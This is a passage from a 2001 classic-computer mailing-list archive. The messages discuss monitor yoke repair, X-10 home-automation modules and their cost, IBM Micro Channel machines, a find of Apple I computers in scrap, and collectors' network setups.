off). Then use a screwdriver to carefully > spread the slots in the yoke that the clip compresses (this will make > sense if you are looking at one). Cut away the silicone rubber. Then > twist the yoke carefully from side to side (if it doesn't feel free, find > out why, don't force it), and slide it off. > Thanks for the details instructions. Well I just finished trying. Unlike the "replacement" CRT assembly, the silicone in the one that was in the 5322 'twixt yoke and CRT has gone completely hard. It will not cut without applying a lot of force, which worried me as I was working 1/8" from the tube (you're saying to yourself, "he should have been just as worried when he was hitting it with that hammer"). So I gave up on trying to get the yoke off. Instead, I pulled the board and 8 pin connector after snipping and labeling a few wires. Although the bo > > It did here, but also bear in mind that some of us are > > simply do not have the tools and knowledge to repair > > things at the component level -- yet. > > If you want to learn about component level repair, then please post some > more questions. I can't believe this monitor is either that complicated > or that unconventional. And vertical problems are normally the easiest to > find... > > If you want me to have some thoughts about it, start by posting the > numbers and physical descriptions (number of pins, any odd features like > heatsink tabs) of any chips in this monitor. > Thanks for the offer. If the board swap fails I'll take you up on that. > > -tony > From cmcmanis at mcmanis.com Wed Jun 27 01:14:31 2001 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 19:04:58 2005 Subject: Request for those skilling in locating odd bits- In-Reply-To: Message-ID: <5.0.0.25.2.20010626231402.03254050@209.185.79.193> At 11:29 PM 6/26/01 -0600, you wrote: >I believe there is an x-ray machine in my ex-girlfriends' parents' >garage.. I need to get the rest of my Wang out of her garage anyways, so I >can check if you want... You left your Wang in your ex-girlfriends garage?!?!? From edick at idcomm.com Wed Jun 27 01:31:27 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:58 2005 Subject: 6502 software update? References: Message-ID: <002201c0fed2$cbe76260$9cc762d8@idcomm.com> A couple of months back I ran across a listing of the 6502 FOCAL interpreter that I once used. I'm not sure where it is now, however, but there are machine readables somewhere, perhaps available through www.6502group.org but probably not. I've not found it anyway, though there was a move afoot at one point to put it "out there" someplace. I have machine readable diskettes, but no system, at the moment, that's capable of reading the APEX OS format 8" diskettes. Maybe one of these days ... Dick ----- Original Message ----- From: "Paul R. Santa-Maria" To: Sent: Tuesday, June 26, 2001 3:58 PM Subject: 6502 software update? > > Has there been any progress on the 6502 Tiny Basic and Focal software? > > Paul R. Santa-Maria > > From edick at idcomm.com Wed Jun 27 01:43:17 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:58 2005 Subject: X-10 (was Re: controlling power) References: <5.0.2.1.0.20010626140427.02798910@127.0.0.1><006201c0fe88$191fdda0$9cc762d8@idcomm.com> <15161.4601.995134.418372@phaduka.neurotica.com> Message-ID: <002c01c0fed4$72958fa0$9cc762d8@idcomm.com> 'seems the prices have gone down some since I last looked. I looked into the X10 stuff about a decade back and it was about $120 to get into the things, IIRC. Then you had to have an outlet into which to plug them, ----- Original Message ----- From: "Dave McGuire" To: Sent: Tuesday, June 26, 2001 4:51 PM Subject: Re: X-10 (was Re: controlling power) > On June 26, Richard Erlacher wrote: > > communication via the power mains, isn't it? My notion to date has been that > > the X-10 stuff is a mite costly, considering that one could hook up a triac, an > > MOC30-something isolated triac driver, and a PIC, e.g. one of the 14-pin or > > even 8-pin parts, and put the thing in the box with the switch. > > Costly? A 300W dimmer module costs like nine bucks. When I add up the > price of the components required to duplicate that, I have trouble > figuring out where they're making a profit. > well ... the 12C508 costs $0.35, the logic-input triac probably costs $0.30 ... they can probably make a buck. > They require a central controller, though, don't they? What do those cost? > > They're all PIC-based, by the way...the modern dimmer modules contain > 12c508 chips. > > > It would be an interesting job, actually, though the MCU would be largely > > wasted. It's smaller than an equivalent set of CMOS logic, though. > > Well, the 12c508 is a *tiny* processor with a *tiny* control store... > It probably has more than enough control store, as it just has to count up and down for each pair of interruptions of a pair of beams of light. The 12C-whatevers don't have much I/O, though. The arrangement I had in mind wouldn't require the aid of a central controller and the communication with it, but would require it be able to "see" a pair of photosensors, e.g. phototransistors, and pulse an LED at a fairly high rate, in order to determine which way the interruption was traveling, thereby making it possible to determine when there were no more people downstream of the control, indicating, therefore, that nobody would benefit from the turned-on light. Including a small transformer and regulator, the best I could do probably wouldn't cost under $9, though, but it would fit in the box with the light switch and wouldn't need a master controller. > > > -Dave McGuire > > From jimdavis at gorge.net Wed Jun 27 03:22:20 2001 From: jimdavis at gorge.net (Jim Davis) Date: Sun Feb 27 19:04:58 2005 Subject: Request for those skilling in locating odd bits- References: <5.0.0.25.2.20010626231402.03254050@209.185.79.193> Message-ID: <3B3997BC.33DDBE8D@gorge.net> The same thing came into my mind, heh heh. Chuck McManis wrote: > > At 11:29 PM 6/26/01 -0600, you wrote: > >I believe there is an x-ray machine in my ex-girlfriends' parents' > >garage.. I need to get the rest of my Wang out of her garage anyways, so I > >can check if you want... > > You left your Wang in your ex-girlfriends garage?!?!? From mikeford at socal.rr.com Tue Jun 26 22:52:00 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:58 2005 Subject: Whats a reasonable collection? In-Reply-To: <408.577T2150T13535887optimus@canit.se> References: Message-ID: >Mike Ford skrev: > >>I want to have as many different kinds of segments on my network >>as I can manage, which means running a model 95 OS/2 system to bridge >>between 10bt and tokenring on twinax. > >Is it possible to run TR on twin-ax? I thought it was only run on STP or those >big jaw-like IBM connectors. Most of my tokenring cards have DB9 things, but those can hook to twinax I think. From mikeford at socal.rr.com Wed Jun 27 04:21:08 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:58 2005 Subject: X-10 (was Re: controlling power) In-Reply-To: References: Message-ID: >>Yes Eric, I also use X-10 to control the lights in my house. It is >>handled by the small controller that plugs into a wall socket and is >>programmed by a Radio Shack Color Computer. It has been chuggig along >>for about 30 years. > > You know, I remember seeing them listed in the RS catalogs >and seeing them in the stores in the past, but I've not noticed them >anytime lately. Do they still sell the stuff for it? Yep, but they house brand it. Modules were about $12 when I looked yesterday. I am still hoping to find some hoard cheap at a hamfest. From mikeford at socal.rr.com Wed Jun 27 04:29:20 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:58 2005 Subject: Whats a reasonable collection? In-Reply-To: <901.578T2150T2005811optimus@canit.se> References: Message-ID: >BTW, I'm also very fond of MCA. Just glad I haven't got on my own desktop. =) A model 9595 was the first computer I was really impressed with mechanically when I opened it up. Its built like a Porsche, and actually LOOKS good internally. I have a couple dozen of various models, with about a dozen 9595 servers. One of my big scores in the auction last month was a box of 3Com MCA 10bt cards I had been trying to buy for a year or two. From mikeford at socal.rr.com Wed Jun 27 04:18:24 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:58 2005 Subject: Pair of Apple I in a scrap pile In-Reply-To: <200106270135.SAA08656@stockholm.ptloma.edu> References: from Mike Ford at "Jun 26, 1 06:17:21 pm" Message-ID: >> One of my friends was digging through a pile of scrap and found two Apple I >> computers in the wooden boxes. I expect to know more about it maybe this >> weekend or next week. He didn't buy them, and asked me today if they were >> worth getting. I told him someplace around $10k each depending on >> condition, so I suspect he will be picking them up. > >Are you *kidding*? Just in a pile o'scrap? Not kidding. He isn't in to computers, just fixing old video games, so maybe we should feel lucky it didn't have any parts he wanted. He didn't buy it, just kept digging in the pile, then asked me about it Tuesday. More when I know more. I am going to twist his arm to show me the place so I can at least look for other stuff. Heck I would be real happy to dig out an Aim65. From mikeford at socal.rr.com Wed Jun 27 04:36:00 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:58 2005 Subject: 2 awesome days of awesome finds! In-Reply-To: Message-ID: >works and he said that "they could fill my pickup" with minicomputers! I now >own 10 minis with blinkenlights.. and only 1 of them is DEC! YAY! Sometimes I wonder just how many people read this list and just melt into a puddle of green envy. From mikeford at socal.rr.com Wed Jun 27 04:47:06 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:58 2005 Subject: Looking for info - En-link Ethernet card for the Apple II In-Reply-To: References: Message-ID: >> I very seriously plan to write more Apple II software. Its been a few >> years (decades), but writing for the 6502 was a lot of fun, and just >> maybe I could do a couple usefull things. > >Me too, someday. I loved writing stuff on the Apple ][, and there are Is there an active area for 6502 programmers, mailing list or usenet group? Two of my friends were real hotshots (Randy Hyde and Brian Fitzgerald) so I planned to bug them when I got started again, but it could be really picking cobwebs for both of them. I do still have a Apple II nicely decked out ready to run LISA, but I guess I should update to the version that fully used a IIgs. From cbajpai at mediaone.net Wed Jun 27 06:11:57 2001 From: cbajpai at mediaone.net (Chandra Bajpai) Date: Sun Feb 27 19:04:58 2005 Subject: Pair of Apple I in a scrap pile In-Reply-To: Message-ID: Some guys have all the luck! I've never found anything even close in a scrap heap. -Chandra -----Original Message----- From: owner-classiccmp@classiccmp.org [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Mike Ford Sent: Wednesday, June 27, 2001 5:18 AM To: classiccmp@classiccmp.org Subject: Re: Pair of Apple I in a scrap pile >> One of my friends was digging through a pile of scrap and found two Apple I >> computers in the wooden boxes. I expect to know more about it maybe this >> weekend or next week. He didn't buy them, and asked me today if they were >> worth getting. I told him someplace around $10k each depending on >> condition, so I suspect he will be picking them up. > >Are you *kidding*? Just in a pile o'scrap? Not kidding. He isn't in to computers, just fixing old video games, so maybe we should feel lucky it didn't have any parts he wanted. He didn't buy it, just kept digging in the pile, then asked me about it Tuesday. More when I know more. I am going to twist his arm to show me the place so I can at least look for other stuff. Heck I would be real happy to dig out an Aim65. From ncherry at home.com Wed Jun 27 06:41:37 2001 From: ncherry at home.com (Neil Cherry) Date: Sun Feb 27 19:04:58 2005 Subject: X-10 (was Re: controlling power) References: <3B38D5C6.5208376@greenbelt.com> Message-ID: <3B39C670.F85F6F74@home.com> Eric Chomko wrote: > > Mike Ford wrote: > > > > hey do you have any ideas about using relays or some thing connected > > >to a parallel or aerial port to control the power to an outlet, you know > > >like a dimmer switch controlling motors ETC if you have any thought > > >or ideas I'd be glad to hear them. > > > > X10, why reinvent the wheel? > > > > Does anyone on this list use X-10 in one of their systems? And if so, > what for? Just curious. Uhmm, never heard of it! ;-) I use it for Home Automation and the ability ot reboot the netgear router should it lock up. Soon I;m going to write an automated script to figure out what's going on with the router and take appropriate action. -- Linux Home Automation Neil Cherry ncherry@home.net http://members.home.net/ncherry (Text only) http://meltingpot.fortunecity.com/lightsey/52 (Graphics) http://linuxha.sourceforge.net/ (SourceForge) From dhquebbeman at theestopinalgroup.com Wed Jun 27 06:36:36 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:58 2005 Subject: FW: Silent 700 Model 707 Message-ID: <7A9BACCEF0171D4FB77019F5104CDD37151227@jeffserver.tegjeff.com> > I picked up a TI Silent 700 model 707 recently (a nice, small variant > with built-in modem, see http://pobox.com/~fmw/misc/Silent700.jpg), > with hopes of converting to use as a direct line serial terminal. > > Before I open it up and poke around, does anyone already know how to > do this? Portwise, there are two RJ11 ports (phone&wall) and a 6-pin > acoustic coupler port of unknown pinout. I suspect it's possible, but I've left mine alone and instead sought other model Silent 700s for use as serial terminals. One of my 707s has the coupler; I'll see if I can't determine the pinout for you, but IIRC, the connector carries audio only. Regards, -doug q From ncherry at home.com Wed Jun 27 06:52:06 2001 From: ncherry at home.com (Neil Cherry) Date: Sun Feb 27 19:04:58 2005 Subject: X-10 (was Re: controlling power) References: Message-ID: <3B39C8E6.33326BD1@home.com> Tony Duell wrote: > > > > > On June 26, Richard Erlacher wrote: > > > communication via the power mains, isn't it? My notion to date has been that > > > the X-10 stuff is a mite costly, considering that one could hook up a triac, an > > > MOC30-something isolated triac driver, and a PIC, e.g. one of the 14-pin or > > > even 8-pin parts, and put the thing in the box with the switch. > > > > Costly? A 300W dimmer module costs like nine bucks. When I add up the > > This probably explains why X10 is not at all popular in the UK (and yes, > a 230V version does exist). I seem to remember that last time I looked at > the price of the modules they were all about \pounds 40.00 each. And the > computer [1] interface was about \pounds 90.00. I decided it was going to > be far too expensive for me to use. X10 in the UK/EU is expensive. > [1] Wintel, only, alas. Totally useless to me. Take a look at my pages, you'll think outherwise. :-) > > They're all PIC-based, by the way...the modern dimmer modules contain > > 12c508 chips. Some are PIC based, the newer ones are, some of the modules are not. > I am not suprised. I think they used to be based on some kind of ASIC, > but it would make sense for them to use PICs now. The 'Old School Hacking' community is using PIC, AVR, and Zilog controllers to interface between the AC and the PC. We've come up with some interesting hacks. See Dave Houston's (http://www.laser.com/dhouston/bx24-aht.htm) pages for a really good example. -- Linux Home Automation Neil Cherry ncherry@home.net http://members.home.net/ncherry (Text only) http://meltingpot.fortunecity.com/lightsey/52 (Graphics) http://linuxha.sourceforge.net/ (SourceForge) From pechter at bg-tc-ppp927.monmouth.com Wed Jun 27 06:46:22 2001 From: pechter at bg-tc-ppp927.monmouth.com (Bill Pechter) Date: Sun Feb 27 19:04:58 2005 Subject: SMC Ethernet In-Reply-To: from Vance Dereksen at "Jun 26, 2001 09:52:29 pm" Message-ID: <200106271146.f5RBkMW07304@bg-tc-ppp927.monmouth.com> > > I used to use Intel cards, since they have really nice support, but I have > lately switched to Linksys, because they seem to have similar support > (software support, I mean) at 1/6 the price. Plus, they have pretty good > CPU utilization numbers on my CPUs. > The problem is Solaris doesn't support the Linksys... I like to get as much stuff that will run under as many OS's as possible --Bill --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.dyndns.org From rigdonj at intellistar.net Wed Jun 27 06:55:35 2001 From: rigdonj at intellistar.net (joe) Date: Sun Feb 27 19:04:58 2005 Subject: X-10 (was Re: controlling power) In-Reply-To: References: Message-ID: <5.1.0.14.1.20010627075134.00a60110@mailhost.intellistar.net> At 02:21 AM 6/27/01 -0700, you wrote: > >>Yes Eric, I also use X-10 to control the lights in my house. It is > >>handled by the small controller that plugs into a wall socket and is > >>programmed by a Radio Shack Color Computer. It has been chuggig along > >>for about 30 years. > > > > You know, I remember seeing them listed in the RS catalogs > >and seeing them in the stores in the past, but I've not noticed them > >anytime lately. Do they still sell the stuff for it? > >Yep, but they house brand it. Modules were about $12 when I looked >yesterday. I am still hoping to find some hoard cheap at a hamfest. RS not only house brands theirs but they also get them from China and they don't last long. None of the ones that I've gotten from RS have lasted more than a couple of months and at least half of them die within a week. Lesson: Don't buy anything from RS! X-10 has licensed it's technology to Levitron, RS and a number of other companies so they're all interchangeable but there's a big differrence in the quality of the parts. Joe From dhquebbeman at theestopinalgroup.com Wed Jun 27 07:18:36 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:58 2005 Subject: Whats a reasonable collection? Message-ID: <7A9BACCEF0171D4FB77019F5104CDD3715122D@jeffserver.tegjeff.com> > > I love microchannel equipment. 8-) > Not many know this, but Chuck Peddle, who designed MCA, also gave it legs to run up to 100MHz. However, I don't think IBM ever implemented an MAC bus at that speed. Regards, -doug q From dhquebbeman at theestopinalgroup.com Wed Jun 27 07:15:19 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:58 2005 Subject: FW: Whats a reasonable collection? Message-ID: <7A9BACCEF0171D4FB77019F5104CDD3715122C@jeffserver.tegjeff.com> > >Not everyone in the house needs a PC; I think I'm > >more happy with one PC in a central room where I can > > Hmmm, I was thinking of cutting down to about 50 computers, about half > networked and the other half as curiousities or spares. I have six areas > that each need a working mac and pc, (5) main servers each running > something different (Linux, NT, OS2, AppleShare (one 3.0.4 to boot IIgs > systems, and one running a newer IP version)), fun servers HP/ux on some > Apollo's, various on older macs and PCs), dedicated systems (scanner, > couple phone things, (2) CDR burners), various old systems running old > software. I want to have as many different kinds of segments on my network > as I can manage, which means running a model 95 OS/2 system to bridge > between 10bt and tokenring on twinax. To round out that heterogeny, you need a set of Thomas-Conrad ARCNet cards (unless you can find 20Mbps-Datapoint cards), a passive hub, and a serial-port-based Token-ring network that uses software written in Russia. The Russian software lets you host drives that are actually shares from other machines! You'll want to use a Mac to bridge Ethernet to Localtalk, if you can find the software... What else? -dq From dhquebbeman at theestopinalgroup.com Wed Jun 27 07:20:08 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:58 2005 Subject: Request for those skilling in locating odd bits- Message-ID: <7A9BACCEF0171D4FB77019F5104CDD3715122E@jeffserver.tegjeff.com> > I am looking for a real x-ray generator- Modifying kitchen > appliances or using thyratrons coated with magnesium won't due. I have > x-ray tubes and all the rest, but the power supply is the toasted bit. I recall an article in a late-50s/early-60s issue of Scientific American that detailed the construction of an X-Ray machine. hth, -doug q From steven_j_robertson at hotmail.com Wed Jun 27 07:25:36 2001 From: steven_j_robertson at hotmail.com (Steve Robertson) Date: Sun Feb 27 19:04:58 2005 Subject: X-10 (was Re: controlling power) Message-ID: >RS not only house brands theirs but they also get them from China and they >don't last long. None of the ones that I've gotten from RS have lasted >more than a couple of months and at least half of them die within a week. >Lesson: Don't buy anything from RS! X-10 has licensed it's technology to >Levitron, RS and a number of other companies so they're all interchangeable >but there's a big differrence in the quality of the parts. > Joe You live in the lightning capitol of the world. That could be a factor! Just wondering, how many modems you've had to replace? SteveRob _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From John.Honniball at uwe.ac.uk Wed Jun 27 07:31:58 2001 From: John.Honniball at uwe.ac.uk (John Honniball) Date: Sun Feb 27 19:04:58 2005 Subject: Whats a reasonable collection? In-Reply-To: <7A9BACCEF0171D4FB77019F5104CDD3715122D@jeffserver.tegjeff.com> Message-ID: On Wed, 27 Jun 2001 08:18:36 -0400 Douglas Quebbeman wrote: > Not many know this, but Chuck Peddle, who designed MCA, also > gave it legs to run up to 100MHz. Chuck Peddle? The designer of the 6502, the Pet and the Sirius? Did he do the IBM Micro Channel too? -- John Honniball Email: John.Honniball@uwe.ac.uk University of the West of England From jarkko.teppo at er-grp.com Wed Jun 27 08:09:02 2001 From: jarkko.teppo at er-grp.com (Jarkko Teppo) Date: Sun Feb 27 19:04:59 2005 Subject: FW: Silent 700 Model 707 In-Reply-To: <7A9BACCEF0171D4FB77019F5104CDD37151227@jeffserver.tegjeff.com> References: <7A9BACCEF0171D4FB77019F5104CDD37151227@jeffserver.tegjeff.com> Message-ID: <993647342.3b39daee8b2f0@mail.er-grp.com> Quoting Douglas Quebbeman : > I suspect it's possible, but I've left mine alone and instead > sought other model Silent 700s for use as serial terminals. > Does anyone have a good list on the different 700s ? I'd love to know the announcement dates too. I have a 745 (I think...) and it has plain normal RS-232 but it's possible to create a fake telephone line (at least a european style) with a transformer and some passive electronics. Epanorama had some schematics. -- jht From vaxman at qwest.net Wed Jun 27 08:06:58 2001 From: vaxman at qwest.net (Clint Wolff (VAX collector)) Date: Sun Feb 27 19:04:59 2005 Subject: Request for those skilling in locating odd bits- In-Reply-To: <5.0.0.25.2.20010626231402.03254050@209.185.79.193> Message-ID: On Tue, 26 Jun 2001, Chuck McManis wrote: > At 11:29 PM 6/26/01 -0600, you wrote: > >I believe there is an x-ray machine in my ex-girlfriends' parents' > >garage.. I need to get the rest of my Wang out of her garage anyways, so I > >can check if you want... > > > You left your Wang in your ex-girlfriends garage?!?!? > > I was thinking she is his ex BECAUSE he put his Wang in her garage!!! From AlistairMacDonald at economist.com Wed Jun 27 08:28:42 2001 From: AlistairMacDonald at economist.com (Alistair MacDonald) Date: Sun Feb 27 19:04:59 2005 Subject: Trip to London, want BBC Micro stuff... Message-ID: === ard@p850ug1.demon.co.uk 26/06/2001 20:58:26 === > >> On Mon, 25 Jun 2001 18:40:44 +0100 (BST) Tony Duell >> Tony, any sign of a secondhand chain called Cash Converters >> in the London area? The big Bristol branch has closed, but > >Cash Converters were still going a couple of weeks back, so unless >they've closed very recently they are still trading. Cash Converters is a franchised operation. >But their prices >tend to be out-of-this-world (No, I don't think a battered C64 is worth >50 quid, OK...). I think I've found exactly one bargain in that chain >over the years. A lot depends upon how clued up the individual store is, and how much of a particular type of equipment is being sold in the area. >They may be the only shop where you will find classic computers, though. If you find anything other than consoles, or the occasional PsionII I'd be very surprised. Alistair From mwp at acm.org Wed Jun 27 08:28:54 2001 From: mwp at acm.org (Michael Passer) Date: Sun Feb 27 19:04:59 2005 Subject: Request for those skilling in locating odd bits- References: Message-ID: <001801c0ff0d$1d17f160$8e8fc186@umkcpi> There are just so many places one could go with that. Must . . . show . . . restraint :). ----- Original Message ----- From: "Clint Wolff (VAX collector)" To: Sent: Wednesday, June 27, 2001 8:06 AM Subject: Re: Request for those skilling in locating odd bits- > > > On Tue, 26 Jun 2001, Chuck McManis wrote: > > > At 11:29 PM 6/26/01 -0600, you wrote: > > >I believe there is an x-ray machine in my ex-girlfriends' parents' > > >garage.. I need to get the rest of my Wang out of her garage anyways, so I > > >can check if you want... > > > > > > You left your Wang in your ex-girlfriends garage?!?!? > > > > > > I was thinking she is his ex BECAUSE he put his Wang in her garage!!! > > > From owad at applefritter.com Wed Jun 27 08:29:44 2001 From: owad at applefritter.com (Tom Owad) Date: Sun Feb 27 19:04:59 2005 Subject: X-10 (was Re: controlling power) In-Reply-To: References: Message-ID: <20010627132944.23370@mail.earthlink.net> >> This probably explains why X10 is not at all popular in the UK (and yes, >> a 230V version does exist). I seem to remember that last time I looked at >> the price of the modules they were all about \pounds 40.00 each. And the >> computer [1] interface was about \pounds 90.00. I decided it was going to >> be far too expensive for me to use. > >Around here (USA), the modules are typically about $15, and occasionally >available cheap. I just bought three of the Magnavox lamp modules at www.smarthome.com. They were just $2.49 apiece. Does anybody have any X-10 software for the Apple II? I just got a few cards, but no software or manuals to go with them. Right now I'm using an old Radio Shack HomeMinder to control the lights. Or light, rather. :) I've only got one lamp hooked up at the moment and its sitting right beside the controller, anyway. Tom Applefritter www.applefritter.com From AlistairMacDonald at economist.com Wed Jun 27 08:32:48 2001 From: AlistairMacDonald at economist.com (Alistair MacDonald) Date: Sun Feb 27 19:04:59 2005 Subject: X-10 (was Re: controlling power) Message-ID: === ard@p850ug1.demon.co.uk 27/06/2001 00:25:35 > >> On June 26, Richard Erlacher wrote: >> > communication via the power mains, isn't it? My notion to date has been that >> > the X-10 stuff is a mite costly, considering that one could hook up a triac, an >> > MOC30-something isolated triac driver, and a PIC, e.g. one of the 14-pin or >> > even 8-pin parts, and put the thing in the box with the switch. >> >> Costly? A 300W dimmer module costs like nine bucks. When I add up the > >This probably explains why X10 is not at all popular in the UK (and yes, >a 230V version does exist). I seem to remember that last time I looked at >the price of the modules they were all about \pounds 40.00 each. And the >computer [1] interface was about \pounds 90.00. I decided it was going to >be far too expensive for me to use. I checked with them, and they sent me a list of their European suppliers once. (They also put me on one of their spam lists - not just their spam, but their 3rd party European suppliers one too ....) When I queried the large jump in costs they tried to blame the need for 230V PSUs instead of 110V. Something else to consider is that a lot of the items are not approved for use in the EU. (One of their UK suppliers happens to list the approval status - don't ask me which) Alistair From ethan_dicks at yahoo.com Wed Jun 27 08:48:21 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:04:59 2005 Subject: FW: Whats a reasonable collection? Message-ID: <20010627134821.55215.qmail@web9507.mail.yahoo.com> > > I want to have as many different kinds of segments on my network > > as I can manage, which means running a model 95 OS/2 system to bridge > > between 10bt and tokenring on twinax. > > To round out that heterogeny, you need a set of Thomas-Conrad ARCNet > cards (unless you can find 20Mbps-Datapoint cards), a passive hub, > and a serial-port-based Token-ring network that uses software written > in Russia. The Russian software lets you host drives that are actually > shares from other machines! > > You'll want to use a Mac to bridge Ethernet to Localtalk, if you > can find the software... > > What else? > > -dq How about bisync or SNA? At one place, we used to have a VAX HASP point-to- point network for file transfer (it's easy when you don't have to buy the hardware or software). DEC used to make an ethernet to SNA gateway based on the uVAXII, didn't they? -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail http://personal.mail.yahoo.com/ From mrbill at mrbill.net Wed Jun 27 08:49:19 2001 From: mrbill at mrbill.net (Bill Bradford) Date: Sun Feb 27 19:04:59 2005 Subject: Request for those skilling in locating odd bits- In-Reply-To: <5.0.0.25.2.20010626231402.03254050@209.185.79.193>; from cmcmanis@mcmanis.com on Tue, Jun 26, 2001 at 11:14:31PM -0700 References: <5.0.0.25.2.20010626231402.03254050@209.185.79.193> Message-ID: <20010627084919.M16069@mrbill.net> On Tue, Jun 26, 2001 at 11:14:31PM -0700, Chuck McManis wrote: > You left your Wang in your ex-girlfriends garage?!?!? He has to get his Wang back from his ex? Man, talk about possessive. Bill -- Bill Bradford mrbill@mrbill.net Austin, TX From dittman at dittman.net Wed Jun 27 09:29:11 2001 From: dittman at dittman.net (Eric Dittman) Date: Sun Feb 27 19:04:59 2005 Subject: FW: Whats a reasonable collection? In-Reply-To: <20010627134821.55215.qmail@web9507.mail.yahoo.com> from "Ethan Dicks" at Jun 27, 2001 06:48:21 AM Message-ID: <200106271429.f5RETBZ08197@narnia.int.dittman.net> > DEC used to make an ethernet to SNA gateway based on the uVAXII, didn't they? At work we have a couple of the SNA gateway boxes, and they are based on the MVIII, but the earlier versions were based on the MVII. The boxes we have are DESNB (ChannelServer II). -- Eric Dittman dittman@dittman.net From bdc at world.std.com Wed Jun 27 09:52:14 2001 From: bdc at world.std.com (Brian Chase) Date: Sun Feb 27 19:04:59 2005 Subject: Request for those skilling in locating odd bits- In-Reply-To: Message-ID: On Wed, 27 Jun 2001, Clint Wolff (VAX collector) wrote: > On Tue, 26 Jun 2001, Chuck McManis wrote: > > At 11:29 PM 6/26/01 -0600, you wrote: > > >I believe there is an x-ray machine in my ex-girlfriends' parents' > > >garage.. I need to get the rest of my Wang out of her garage anyways, so I > > >can check if you want... > > > > You left your Wang in your ex-girlfriends garage?!?!? > > I was thinking she is his ex BECAUSE he put his Wang in her garage!!! Why, isn't his Wang big enough? -brian. From dogas at bellsouth.net Wed Jun 27 09:57:38 2001 From: dogas at bellsouth.net (Mike) Date: Sun Feb 27 19:04:59 2005 Subject: 2 awesome days of awesome finds! References: Message-ID: <001901c0ff19$82f84d70$e619d7d1@DOMAIN> From: Will Jennings cool! works and he said that "they could fill my pickup" with minicomputers! I now > own 10 minis with blinkenlights.. and only 1 of them is DEC! YAY! So... what other minis did you score? ;) - Mike: dogas@bellsouth.net From fmc at reanimators.org Wed Jun 27 10:13:38 2001 From: fmc at reanimators.org (Frank McConnell) Date: Sun Feb 27 19:04:59 2005 Subject: On Topic: power control In-Reply-To: "Steve Robertson"'s message of "Tue, 26 Jun 2001 14:09:19 -0400" References: Message-ID: <200106271514.f5RFEA290218@daemonweed.reanimators.org> "Steve Robertson" wrote (after me): > >The sticky bit would be that the 3000's terminal I/O is essentially > >one-way-at-a-time: if the terminal device doesn't have a read request > >posted, then most data sent from the attached device will be discarded > With the exception of a few watchdog functions (which I wouldn't be using > anyway), all OPTO22 communications are done through polling. So, that > shouldn't be too big a hurdle. Maybe, maybe not. Remember that the terminal I/O device can only do one thing at a time. If you've done a write to send the poll request, you don't have a read pending and it will take you a little while to start the read. If your OPTO22 widget starts sending its response before you get that read up then you will lose some or all of the response. It is possible to get the 3000 to indicate when it's got the read up by sending a read trigger character. The typical read trigger character is DC1 (control-Q) on terminal types 9 and 10 (among others), but this is changeable somewhat if you fuss around with the workstation configurator (TTUTIL.PUB.SYS?) and make up a new terminal type definition file which you then associate with a terminal device through SYSDUMP. The intended use of the read trigger character is telling the HP terminals when they can start a block-mode transfer, but there's no reason you can't abuse it for your own purposes. -Frank McConnell From jss at ou.edu Wed Jun 27 10:34:36 2001 From: jss at ou.edu (Jeffrey S. Sharp) Date: Sun Feb 27 19:04:59 2005 Subject: 2 awesome days of awesome finds! In-Reply-To: References: Message-ID: <993656076.3b39fd0c9b2df@email.ou.edu> Quoting Mike Ford : > Sometimes I wonder just how many people read this list and just > melt into a puddle of green envy. Me. I'm slowly working on the situation, but I'm nowhere near as prolific as Will. Some people's luck is simply amazing. -- Jeffrey S. Sharp jss@ou.edu From spectre at stockholm.ptloma.edu Wed Jun 27 10:39:55 2001 From: spectre at stockholm.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 19:04:59 2005 Subject: Request for those skilling in locating odd bits- In-Reply-To: from Brian Chase at "Jun 27, 1 09:52:14 am" Message-ID: <200106271539.IAA12516@stockholm.ptloma.edu> > > > >I believe there is an x-ray machine in my ex-girlfriends' parents' > > > >garage.. I need to get the rest of my Wang out of her garage anyways, > > > >so I > > > >can check if you want... > > > You left your Wang in your ex-girlfriends garage?!?!? > > I was thinking she is his ex BECAUSE he put his Wang in her garage!!! > Why, isn't his Wang big enough? Man, I saw that coming about three replies ago. -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu -- Proponents of other opinions will be merrily beaten to a bloody pulp. ------ From xds_sigma7 at hotmail.com Wed Jun 27 10:37:31 2001 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 19:04:59 2005 Subject: 2 awesome days of awesome finds! Message-ID: Well, I haven't had a chance to call the other place yet.... But the blinkenlights minis I have are a DG Nova 1210, 2 DG Eclipse S230's, DEC PDP-8/i, HP 1000-E, 2 Interdata 7/32's (soon to be one, as one is being traded), 2 TI 990/5's, and a Varian 620-L/100... Now I suppose I need to find a Modcomp, a Microdata, a CDC, a Prime, a Basic Four, a Bytronix, a Keronix, a Univac, a Cincinatti Milacron, a ROLM, and other manufacturers I can't remember.. I'm trying to have as many manufacturers represented as possible : ) Will J _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From spectre at stockholm.ptloma.edu Wed Jun 27 10:41:50 2001 From: spectre at stockholm.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 19:04:59 